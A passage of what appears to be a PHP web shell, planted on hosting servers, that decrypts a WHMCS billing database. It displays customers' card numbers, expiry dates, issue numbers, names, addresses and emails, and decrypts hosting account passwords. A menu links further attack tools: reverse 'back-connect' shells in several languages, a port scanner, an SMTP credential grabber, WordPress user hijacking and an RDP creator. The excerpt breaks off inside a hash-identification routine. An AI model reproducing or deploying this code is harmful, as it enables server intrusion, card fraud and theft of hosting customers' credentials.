  3452.     <th class='th_home' align='center'><b>Email</b></th>
  3453.     </tr>";
  3454.             if (!is_array(mysql_fetch_array($query))) {
  3455.                 echo "<tr><td colspan='10' align='center'>Nothing Found ! :(</td></tr>";
  3456.             }
  3457.             while ($v = mysql_fetch_array($query)) {
  3458.                 $cchash = md5($cc_encryption_hash . $v['0']);
  3459.                 $s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='" . $v['0'] . "'");
  3460.                 $v2 = mysql_fetch_array($s);
  3461.                 echo "<tr>
  3462.     <td class='td_home' align='center'>" . $v2['cardtype'] . "</td>
  3463.     <td class='td_home' align='center'>" . $v2['cardnum'] . "</td>
  3464.     <td class='td_home' align='center'>" . $v2['expdate'] . "</td>
  3465.     <td class='td_home' align='center'>" . $v2['issuenumber'] . "</td>
  3466.     <td class='td_home' align='center'>" . $v2['firstname'] . "</td>
  3467.     <td class='td_home' align='center'>" . $v2['lastname'] . "</td>
  3468.     <td class='td_home' align='center'>" . $v2['address1'] . "</td>
  3469.     <td class='td_home' align='center'>" . $v2['country'] . "</td>
  3470.     <td class='td_home' align='center'>" . $v2['phonenumber'] . "</td>
  3471.     <td class='td_home' align='center'>" . $v2['email'] . "</td></tr>";
  3472.             }
  3473.             echo "</table>";
  3474.             $query = mysql_query("SELECT *FROM tblhosting");
  3475.             echo "<br/><br/><center>
  3476.     <table class='table_home' style=width:830px;padding:0 1px;>
  3477.     <tr><th colspan='6'><nobr><span> CLIENTS HOSTING ACCOUNT </span></nobr></th></tr>
  3478.     <tr>
  3479.     <th class='th_home' align='center'><b>DOMAIN</b></th>
  3480.     <th class='th_home' align='center'><b>STATUS</b></th>
  3481.     <th class='th_home' align='center'><b>USERNAME</b></th>
  3482.     <th class='th_home' align='center'><b>PASSWORD</b></th>
  3483.     <th class='th_home' align='center'><b>DEDICATED IP</b></th>
  3484.     <th class='th_home' align='center'><b>ASSIGNED IP</b></th></tr>";
  3485.             if (!is_array(mysql_fetch_array($query))) {
  3486.                 echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
  3487.             }
  3488.             while ($v = mysql_fetch_array($query)) {
  3489.                 echo "<tr>
  3490.     <td class='td_home' align='center'>{$v['domain']}</td>
  3491.     <td class='td_home' align='center'>{$v['domainstatus']}</td>
  3492.     <td class='td_home' align='center'>{$v['username']}</td>
  3493.     <td class='td_home' align='center'>" . dec($v['password'], $cc_encryption_hash) . "</td>
  3494.     <td class='td_home' align='center'>{$v['dedicatedip']}</td>
  3495.     <td class='td_home' align='center'>{$v['assignedips']}</td></tr>";
  3496.             }
  3497.             echo "</table>";
  3498.         }
  3499. }
  3500. elseif($_GET['pake'] == 'hash') {
  3501. echo "<center>";
  3502. echo "<ul>";
  3503. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  3504. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  3505. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  3506. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  3507. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  3508. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  3509. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  3510. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  3511. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  3512. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  3513. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  3514. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  3515. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  3516. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  3517. echo "</ul>";
  3518. echo "</center>";
  3519.     if (isset($_POST['gethash'])) {
  3520.         $hash = $_POST['hash'];
  3521.         if (strlen($hash) == 32) {
  3522.             $hashresult = "MD5 Hash";
  3523.         } elseif (strlen($hash) == 40) {
  3524.             $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
  3525.         } elseif (strlen($hash) == 13) {
  3526.             $hashresult = "DES(Unix) Hash";
  3527.         } elseif (strlen($hash) == 16) {
  3528.             $hashresult = "MySQL Hash / /DES(Oracle Hash)";
  3529.         } elseif (strlen($hash) == 41) {
  3530.             $GetHashChar = substr($hash, 40);